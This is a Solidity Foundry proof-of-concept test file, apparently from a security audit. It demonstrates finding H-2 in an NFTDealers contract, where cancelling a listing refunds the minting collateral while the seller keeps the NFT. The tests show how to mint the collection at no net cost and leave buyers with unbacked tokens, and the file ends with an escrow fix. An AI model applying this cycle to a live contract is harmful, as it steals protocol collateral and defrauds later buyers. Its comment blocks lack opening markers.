pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
* @title PoC_H2_FreeNFT
* @notice Proof of Concept: H-2 -- cancelListing returns minting collateral
* while seller retains the NFT, enabling free acquisition of the
* entire collection.
*
* ROOT CAUSE:
* list() at NFTDealers.sol:136 does NOT transfer the NFT into contract
* escrow. cancelListing() at NFTDealers.sol:165-166 transfers
* collateralForMinting[tokenId] back to the seller and zeroes it, but
* the seller's NFT balance is completely unchanged.
* Result: mint -> list -> cancel = NFT owned at 0 net USDC cost.
*
* THREE TESTS:
*
* testPoC_H2_SingleCycle
* Proves the core mechanic: one cycle of mint->list->cancel returns
* the full lockAmount to the attacker while they keep the NFT.
*
* testPoC_H2_BulkAcquisition
* Proves scale: 10 NFTs acquired using one lockAmount (20 USDC)
* reused each cycle. Contract ends with 0 USDC. Models minting
* the full 1,000-NFT collection at near-zero cost.
*
* testPoC_H2_CollateralDestroyed_OnResale
* Proves secondary impact: after the free mint cycle, re-listing and
* selling the NFT returns 0 collateral to any party. The protocol's
* stated "collateral-backed NFT" guarantee is silently voided.
*
* NOTE ON LISTING KEY:
* list() stores at s_listings[_tokenId]. cancelListing() and buy() are
* called with tokenId as the parameter to match the storage key and
* isolate H-2 from the separate key-mismatch bug (H-3).
*/
contract PoC_H2_FreeNFT is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6;
uint32 public constant MIN_PRICE = 1e6;
uint32 public constant SALE_PRICE = 1000e6;
uint256 public constant BULK_CYCLES = 10;
uint256 public constant EXPECTED_FEES = (uint256(SALE_PRICE) * 100) / 10_000;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(attacker);
usdc.mint(attacker, LOCK_AMOUNT);
}
* @notice Proves that mint -> list -> cancel returns lockAmount AND
* leaves the attacker as the NFT owner.
*
* Expected: cancel should NOT return collateral while the
* original minter still holds the NFT.
* Actual : 20 USDC returned, NFT retained, collateral zeroed.
*/
function testPoC_H2_SingleCycle() public {
uint256 usdcBefore = usdc.balanceOf(attacker);
assertEq(usdcBefore, LOCK_AMOUNT, "Attacker starts with exactly lockAmount");
console2.log("=== H-2: FREE NFT -- SINGLE CYCLE ===");
console2.log("[0] Attacker USDC before :", usdcBefore / 1e6, "USDC");
console2.log(" Attacker NFTs before :", nftDealers.balanceOf(attacker));
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
uint256 tokenId = nftDealers.totalMinted();
console2.log("[1] After mintNft:");
console2.log(" Attacker USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" Attacker NFTs :", nftDealers.balanceOf(attacker));
console2.log(" collateralForMinting[1] :", nftDealers.collateralForMinting(tokenId) / 1e6, "USDC");
console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
vm.prank(attacker);
nftDealers.list(tokenId, MIN_PRICE);
assertEq(nftDealers.ownerOf(tokenId), attacker,
"NFT still with attacker after list() -- no escrow");
vm.prank(attacker);
nftDealers.cancelListing(tokenId);
uint256 usdcAfter = usdc.balanceOf(attacker);
uint256 nftsAfter = nftDealers.balanceOf(attacker);
uint256 collateralLeft = nftDealers.collateralForMinting(tokenId);
console2.log("[2] After list -> cancel:");
console2.log(" Attacker USDC :", usdcAfter / 1e6, "USDC <-- fully recovered");
console2.log(" Attacker NFTs :", nftsAfter, " <-- still holds NFT");
console2.log(" collateralForMinting[1] :", collateralLeft / 1e6, "USDC <-- zeroed (should be 20)");
console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Net USDC cost of NFT : 0 USDC");
assertEq(usdcAfter, usdcBefore,
"CRITICAL: attacker recovered full lockAmount while keeping NFT");
assertEq(nftsAfter, 1,
"CRITICAL: attacker still holds 1 NFT after cancel");
assertEq(nftDealers.ownerOf(tokenId), attacker,
"CRITICAL: attacker confirmed as NFT owner post-cancel");
assertEq(collateralLeft, 0,
"CRITICAL: collateralForMinting zeroed -- NFT has no backing");
assertEq(usdc.balanceOf(address(nftDealers)), 0,
"CRITICAL: contract holds 0 USDC despite an NFT existing");
}
* @notice Attacker acquires BULK_CYCLES NFTs using only one LOCK_AMOUNT,
* recycled through every mint -> list -> cancel cycle.
*
* Models minting the full 1,000-NFT MAX_SUPPLY at near-zero cost.
* After all cycles: attacker holds BULK_CYCLES NFTs, same 20 USDC,
* contract holds 0 USDC.
*/
function testPoC_H2_BulkAcquisition() public {
console2.log("\n=== H-2: BULK FREE MINTING (%d NFTs) ===", BULK_CYCLES);
console2.log("[0] Attacker starting USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" Legitimate cost would be :", BULK_CYCLES * LOCK_AMOUNT / 1e6, "USDC");
for (uint256 i = 0; i < BULK_CYCLES; i++) {
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, MIN_PRICE);
nftDealers.cancelListing(tokenId);
vm.stopPrank();
}
uint256 finalUsdc = usdc.balanceOf(attacker);
uint256 finalNFTs = nftDealers.balanceOf(attacker);
uint256 contractUsdc = usdc.balanceOf(address(nftDealers));
console2.log("[1] After %d cycles:", BULK_CYCLES);
console2.log(" Attacker USDC :", finalUsdc / 1e6, "USDC (unchanged)");
console2.log(" Attacker NFTs :", finalNFTs, "NFTs acquired");
console2.log(" Contract USDC :", contractUsdc / 1e6,"USDC (should be %d)", BULK_CYCLES * LOCK_AMOUNT / 1e6);
console2.log(" Net cost per NFT : 0 USDC");
assertEq(finalUsdc, LOCK_AMOUNT,
"CRITICAL: attacker holds same starting USDC after acquiring all NFTs");
assertEq(finalNFTs, BULK_CYCLES,
"CRITICAL: attacker holds all minted NFTs");
assertEq(contractUsdc, 0,
"CRITICAL: contract holds 0 USDC despite 10 NFTs existing");
for (uint256 t = 1; t <= BULK_CYCLES; t++) {
assertEq(
nftDealers.collateralForMinting(t),
0,
"CRITICAL: all acquired NFTs have zero collateral backing"
);
}
}
* @notice After the free mint cycle, attacker re-lists and sells the NFT.
* collectUsdcFromSelling returns 0 collateral (extracted via cancel).
* A secondary buyer pays full market price for an NFT the protocol
* guarantees has 20 USDC backing -- it silently has none.
*
* This test also demonstrates that the attacker's total proceeds
* equal a normal sale (cancel + collect = 1,010 USDC), proving
* the collateral was extracted from the protocol's accounting
* permanently -- not merely deferred.
*/
function testPoC_H2_CollateralDestroyed_OnResale() public {
console2.log("\n=== H-2: SECONDARY IMPACT -- ZERO COLLATERAL ON RESALE ===");
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, MIN_PRICE);
nftDealers.cancelListing(tokenId);
vm.stopPrank();
assertEq(nftDealers.collateralForMinting(tokenId), 0, "collateral zeroed post-cancel");
assertEq(usdc.balanceOf(attacker), LOCK_AMOUNT, "attacker has lockAmount back");
console2.log("[0] After free mint cycle:");
console2.log(" Attacker USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" collateralForMinting[1] : 0 USDC (extracted via cancel)");
console2.log(" Protocol backing for NFT #1 : 0 USDC (guarantee broken)");
vm.prank(attacker);
nftDealers.list(tokenId, SALE_PRICE);
usdc.mint(buyer, uint256(SALE_PRICE));
vm.startPrank(buyer);
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
nftDealers.buy(tokenId);
vm.stopPrank();
assertEq(nftDealers.ownerOf(tokenId), buyer, "buyer now owns NFT");
console2.log("[1] Buyer pays", uint256(SALE_PRICE) / 1e6, "USDC for NFT #1");
console2.log(" Buyer expects 20 USDC backing (per protocol docs)");
console2.log(" Actual backing : 0 USDC");
uint256 attackerBeforeCollect = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 collectedFromSale = usdc.balanceOf(attacker) - attackerBeforeCollect;
uint256 actualFromSale = uint256(SALE_PRICE) - EXPECTED_FEES;
uint256 normalFromSale = uint256(SALE_PRICE) - EXPECTED_FEES + LOCK_AMOUNT;
console2.log("[2] Attacker collected from sale :", collectedFromSale / 1e6, "USDC");
console2.log(" Normal resale would yield :", normalFromSale / 1e6, "USDC");
console2.log(" Attacker total (cancel+sale) :", (LOCK_AMOUNT + collectedFromSale) / 1e6, "USDC");
console2.log(" Normal total (mint+sale) :", normalFromSale / 1e6, "USDC");
assertEq(collectedFromSale, actualFromSale,
"Attacker collect returns price - fees with 0 collateral");
assertEq(
LOCK_AMOUNT + collectedFromSale,
normalFromSale,
"Attacker total (cancel + collect) equals normal sale proceeds"
);
assertEq(
nftDealers.collateralForMinting(tokenId),
0,
"CRITICAL: buyer holds NFT with 0 USDC backing (protocol guarantees 20 USDC)"
);
console2.log("[3] IMPACT: Buyer paid", uint256(SALE_PRICE) / 1e6,
"USDC for an NFT the protocol guarantees has 20 USDC backing.");
console2.log(" Actual backing: 0 USDC.");
console2.log(" The 20 USDC was silently extracted during list->cancel.");
console2.log(" No on-chain signal warns the buyer.");
}
}
Transfer the NFT into contract escrow at the time of listing, and return it to the seller on cancellation. This is the standard escrow-listing pattern and eliminates the free-mint cycle entirely: